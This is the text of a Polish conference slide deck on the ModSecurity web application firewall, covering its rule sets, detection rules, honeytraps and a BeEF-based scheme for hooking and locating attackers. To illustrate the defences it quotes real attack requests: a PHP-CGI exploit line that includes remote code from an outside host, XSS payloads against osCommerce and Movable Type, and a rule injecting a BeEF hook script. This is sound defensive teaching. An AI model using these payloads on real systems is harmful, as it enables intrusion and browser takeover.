1. Czy Twój WAF to potrafi?
modsecurity.
Leszek Miś
IT Security Architect
RHCA, RHCSS
lm@linuxpolska.pl
1
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
2. /whoami
• IT Security Architect @ Linux Polska Sp. z o.o.
• Lider projektu WALLF Web Gateway (http://wallf.pl)
• RHCA/RHCSS/RHCX
• Skupiam się głównie na:
– Linux Security
– Web Security
– Pentesty
– SSO
– Linux forensics
– Klastry, wirtualizacja, cloud, storage
2
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
3. Agenda
1. Kilka słów wstępu.
2. Podstawowe możliwości.
3. Realne przypadki
4. PoC:
- Honeypot + modsecurity
- BeeF+modsecurity = give me your real IP!
5. Podsumowanie.
3
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
4. modsecurity
• Najczęściej wykorzystywany WAF na świecie
• Open source
• Tysiące dl/miesiąc
• Chronionych ponad milion serwerów
• Tryby pracy:
– Wbudowany
– Reverse Proxy
4
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
5. modsecurity
• Od zawsze dostępny dla Apache
• Od niedawna także dla:
– Nginx (jest też naxsi oraz ngx_LUA based)
– Microsoft IIS
• Blacklist: OWASP Modsecurity Core Rule Set
• Whitelist – learning mode:
– Modprofiler
– WebApplicationProfiler
– REMO
5
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
6. modsecurity
6
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
7. modsecurity
• Wirtualne patchowanie i integracja z DAST:
– ZAP, Arachni, RPC LUA API
• Bramka typu Intrusion Prevention dla protokołu HTTP
(Reverse Proxy)
• Możliwość szybkiej modyfikacji reguł
• Ochrona przed błędami typu 0-day dla aplikacji
webowych
• Geolokalizacja
• Ochrona antywirusowa dla uploadów
• Nadawanie flag ciasteczkom
7
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
8. Modsecurity CRS
• HTTP Protection - detecting violations of the HTTP protocol
and a locally defined usage policy.
• Real-time Blacklist Lookups - utilizes 3rd Party IP Reputation
• Web-based Malware Detection - identifies malicious web
content by check against the Google Safe Browsing API.
• HTTP Denial of Service Protections - defense against HTTP
Flooding and Slow HTTP DoS Attacks.
• Common Web Attacks Protection - detecting common web
application security attack.
• Automation Detection - Detecting bots, crawlers, scanners and
other surface malicious activity.
8
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
9. Modsecurity CRS
• Integration with AV Scanning for File Uploads - detects
malicious files uploaded through the web application.
• Tracking Sensitive Data - Tracks Credit Card usage and blocks
leakages.
• Trojan Protection - Detecting access to Trojans horses.
• Identification of Application Defects - alerts on application
misconfigurations.
• Error Detection and Hiding - Disguising error messages sent by
the server.
9
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
10. Modsecurity CRS
modsecurity_35_bad_robots.data modsecurity_crs_23_request_limits.conf
modsecurity_crs_47_common_exceptions.conf modsecurity_35_scanners.data
modsecurity_crs_30_http_policy.conf
modsecurity_crs_48_local_exceptions.conf.example
modsecurity_40_generic_attacks.data modsecurity_crs_35_bad_robots.conf
modsecurity_crs_49_inbound_blocking.conf
modsecurity_41_sql_injection_attacks.data
modsecurity_crs_40_generic_attacks.conf modsecurity_crs_50_outbound.conf
modsecurity_50_outbound.data
modsecurity_crs_41_sql_injection_attacks.conf
modsecurity_crs_59_outbound_blocking.conf
modsecurity_50_outbound_malware.data
modsecurity_crs_41_xss_attacks.conf
modsecurity_crs_60_correlation.conf modsecurity_crs_20_protocol_violations.conf
modsecurity_crs_42_tight_security.conf
modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_45_trojans.conf
10
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
11. Realne przypadki
11
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
12. Realne przypadki
• Ruby on Rails XML Exploits
– Podatność w kodzie parsującym parametry XML –
YAML i Symbol
– Wykonanie dowolnego polecenia systemowego
• Modsecurity potrafi parsować i walidować XML:
• SecRule REQUEST_HEADERS:Content-Type "text/xml"
"id:'900017', phase:1, t:none,t:lowercase,
nolog, pass, chain"
SecRule REQBODY_PROCESSOR "!@streq XML"
"ctl:requestBodyProcessor=XML"
12
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
13. Realne przypadki
• Positive security model dla formularza logowania +
ochrona przed brute force
•
13
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
14. Realne przypadki
• Ochrona przed atakami typu Slow HTTP DOS
– Slowloris:
• Atakujący wysyła niekompletny zbiór nagłówków
• „Zaśmiecenie” kolejki read request i write request
• Serwer oczekuje dalszych requestów, aż do Timeoutu
• Wysyłanie kolejnych żądań powoduje wysycenie
zasobów
– R-U-dead-yet czyli RUDY attack:
• Faza request headers wykonywana poprawnie
• Wolne wysyłanie request body, np 1bajt/100s
– Wiele innych jak HOIC/LOIC
14
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
15. Realne przypadki
• Kontrolowanie ilości połączeń w stanie Busy:
SecReadStateLimit 5
SecWriteStateLimit 5
• [Mon Nov 22 17:44:46 2010] [warn] ModSecurity: Access denied with code 400.
• Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX -
• Possible DoS Consumption Attack [Rejected]
• [Mon Nov 22 17:44:47 2010] [warn] ModSecurity: Access denied with code 400.
• Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX -
• Possible DoS Consumption Attack [Rejected]
15
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
16. Realne przypadki
• HULK DOS Tool:
– Pythony skrypt
– Randomizowane wartości nagłówków: User-Agent,
Referer, Keep-alive
– Zawsze ta sama kolejność
–
•
16
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
17. Realne przypadki
• CVE-2012-1823:
– PHP jako czyste CGI
– mod_cgid
• Możliwość podglądu kodu źródłowego:
– 'GET /index.php?-s'
– /index.php?-dallow_url_include%3don+-
dauto_prepend_file
%3dhttp://www.bu67778.com/a.txt'
• SecRule QUERY_STRING "^-[sdcr]"
"phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block
,log,msg:'Potential PHP-CGI Exploit Attempt'"
• Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
17
18. Realne przypadki
• OsCommerce 3.0.2 – XSS
• Parametr „name” :
– POST /oscommerce/index.php?
RPC&Setup&Install&DBCheck HTTP/1.1
– server=&username=&password=&name=
%3Cscript%3Ealert(123)%3C%2Fscript
%3E&port=&class=SQL
•
18
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
19. Realne przypadki
• Movable Types: XSS
• Parametr dbuser:
– POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1
– __mode=test&step=configure&set_static_uri_to=&d
efault_language=en-
us&config=&dbtype=mysql&dbserver=localhost&db
name=&dbuser=%3Cscript%3Ealert
%28%27123%27%29%3C%2Fscript
%3E&dbpass=test&dbpath=&dbport=&dbsocket=&t
est=1
19
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
20. Realne przypadki
• Movable types:
20
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
21. Realne przypadki
• ASP.NET HashTable DoS:
• Paylodem była bardzo duża ilość losowych
parametrów z pustą zawartością:
• EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138
LL=&XXST36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0
TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JK
KKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D
3ACY8973E=&VGJPMCQHP=&AV6THWSCA7=
• SecRequestBodyLimit 131072 – domyślna
wartość
• This directive is useful to reduce susceptibility to DoS
attacks when someone is sending request bodies of very
large sizes.
21
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
22. Honeytrapy
22
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
23. Honeytrapy
• Wykorzystanie istniejących serwerów:
– Listen 8080
– Listen 8888
– Listen 8000
• Wykrywanie i blokowanie automatów
skanujących pod kątem webappek na
niestandardowych portach
• Tagowanie klientów
• Rozpoznawanie pod kątem prawdziwej
aplikacji
23
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
24. Honeytrapy
• SecRule SERVER_PORT "^(8000|8080|8888)$"
"id:'999004',phase:2,t:none,log,block,msg:'HoneyTrap
Alert: Traffic Received on Fake Port.',
setvar:ip.malicious_client=1"
• SecRule &IP:MALICIOUS_CLIENT "@eq 1"
"id:'999005',phase:2,t:none,log,block,msg:'HoneyTrap
Alert: Known Malicious Client.'"
• Integracja z WASC Web Honeypots
24
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
25. Mięsko ;)
25
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
26. BEEF
• The Browser Exploitation Framework –
zaawansowane narzędzie do pentestów
• Browser as Pentester's gateway || C&C
• Wymagane:
– Zmuszenie użytkownika do wejścia na stronę
(FB,TW, krótkie linki)
– Phishing
– XSS – dla tych którzy uważają, że XSS nic nie
znaczy
26
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
27. BEEF
• Pozwala na przejęcie kontroli nad przeglądarką
użytkownika poprzez wstrzykiwanie hooków:
– Bind shell
– Javascript command
– Odwiedzane URLe
– Skanowanie portów/dns enum/network discovery
– Man In The Browser
– Tunelowanie
– Keylogger
• Integracja z metasploit, np:
– XSS->Hook->przejęcie kontroli nad przeglądarką
– Wykorzystanie podatności, np. w Adobe
– Dostęp do shella z poziomu metasploita
27
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
28. • W jaki sposób wyśledzić prawdziwy adres
źródłowy atakującego?
– Proxy
– TOR
• Analiza powłamaniowa
28
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
29. Co mamy?
• Modsecurity jako WAF:
– Wykrywanie ataków
– Aktywacja Beefa
• BeEF jako browser exploitation framework:
– Hookowanie atakujących
– Enumeracja lokalizacji atakującego
• AuditConsole:
– Centralna konsola do analizy logów
29
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
30. modsecurity+BEEF
• Idea przedstawiona na Appsec 2012 USA
przez Rayna Barnetta
• Ograniczenie do połączeń do tych „z browsera”
• Monitorowanie atakujących
30
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
31. modsecurity+BEEF
• Filtrowanie wyjścia:
– SecResponseBodyAccess
• Modyfikacja HTTP Response data
– SecContentInjection
– SecStreamOutBodyInspection
– Zmienna STREAM_OUTPUT_BODY
– Operator @rsub
• SecRule STREAM_OUTPUT_BODY " <at> rsub
s/FUCK/****/" "phase:4,t:none,log,auditlog,pass"
31
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
32. modsecurity+BEEF
• W jaki sposób zidentyfikować atakującego?
• Założyć pułapki:
– Fake cookies
– Robots.txt
– Ukryte pola formularzy:
• SecRule STREAM_OUTPUT_BODY "@rsub
s/</form>/<input type="hidden" name="admin"
value="false"></form>/id" id:"999999",
phase:4,t:none,nolog,pass"
32
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
33. modsecurity+BEEF
• SecRule ARGS:admin "!@streq false"
"id:'9999923',phase:2,t:none,log,block,msg:'Honey
trap alert: hidden form data
manipulated',setvar:tx.malicious_client=1"
• SecRule TX:MALICIOUS_CLIENT "@eq 1"
"chain,id:'999232', phase:4, t:none, pass,
log,msg:'hooking to beef'"
• SecRule STREAM_OUTPUT_BODY "@rsub"
s/</html>/<script
src=http://10.0.0.1:5000/functions.js"></script></ht
ml>
33
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
34. modsecurity+BEEF
• Geolokalizacja:
– Lokalnie dostępne access pointy
• Uzyskanie dostępu do CMD celem wysłania
ICMP do naszego hosta:
– Analiza ruchu i wykrycie faktycznego adresu IP
34
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
35. Podsumowanie
• W modsecurity drzemią ogromne możliwości i
potencjał
• Reguły oparte na blacklistach prędzej czy
później mogą zostać ominięte
• Whitelisting trudny we wdrożeniu, utrzymaniu i
czasochłonny – zmieniające się aplikacje
• Audytowanie logów – konieczność
•
35
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
36. Podsumowanie
Dziękuję za uwagę.
lm@linuxpolska.pl
36
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl